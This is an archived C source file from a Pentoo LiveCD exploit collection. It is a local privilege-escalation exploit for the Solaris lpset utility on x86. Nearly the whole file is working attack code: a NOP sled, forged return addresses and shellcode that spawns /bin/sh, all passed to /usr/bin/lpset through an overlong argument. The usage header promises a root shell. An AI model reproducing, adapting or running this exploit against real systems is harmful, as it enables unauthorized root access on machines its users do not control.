home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / lpset.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  57 lines

  1. /*=============================================================================
  2.    ex_lpset.c Overflow Exploits( for Intel x86 Edition)
  3.    The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
  4.    Written by UNYUN (unewn4th@usa.net)
  5.    [usage]
  6.         % gcc ex_lpset.c (This example program)
  7.         % a.out
  8.         #
  9.   =============================================================================*/
  10.  
  11. #define ADJUST      3
  12. #define OFFSET      0x3b88
  13. #define STARTADR    700
  14. #define ENDADR      1200
  15. #define EX_STADR    8000
  16. #define BUFSIZE     22000
  17.  
  18. #define NOP 0x90
  19.  
  20. unsigned long ret_adr;
  21. int i;
  22.  
  23. char exploit_code[] =
  24.   "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
  25.   "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff\x55"
  26.   "\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33\xc0"
  27.   "\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e"
  28.   "\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3"
  29.   "\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46\x08"
  30.   "\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01\xe8"
  31.   "\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";
  32.  
  33. unsigned long get_sp(void)
  34. {
  35.   __asm__(" movl %esp,%eax ");
  36. }
  37.  
  38. static char   x[BUFSIZE];
  39.  
  40. main(int argc, char **argv)
  41. {
  42.   memset(x,NOP,18000);
  43.   ret_adr=get_sp()-OFFSET;
  44.   printf("Jumping Address = 0x%lx\n",ret_adr);
  45.   for (i = ADJUST+STARTADR; i<ENDADR ; i+=4)
  46.     {
  47.       x[i+2]=ret_adr & 0xff;
  48.       x[i+3]=(ret_adr >> 8 ) &0xff;
  49.       x[i+0]=(ret_adr >> 16 ) &0xff;
  50.       x[i+1]=(ret_adr >> 24 ) &0xff;
  51.     }
  52.   for (i=0;i<strlen(exploit_code);i++) x[i+EX_STADR]=exploit_code[i];
  53.   x[5000]='=';
  54.   x[18000]=0;
  55.   execl("/usr/bin/lpset","lpset","-n","xfn","-a",x,"lpcol1",(char *) 0);
  56. }
  57. /*                    www.hack.co.za              [2000]*/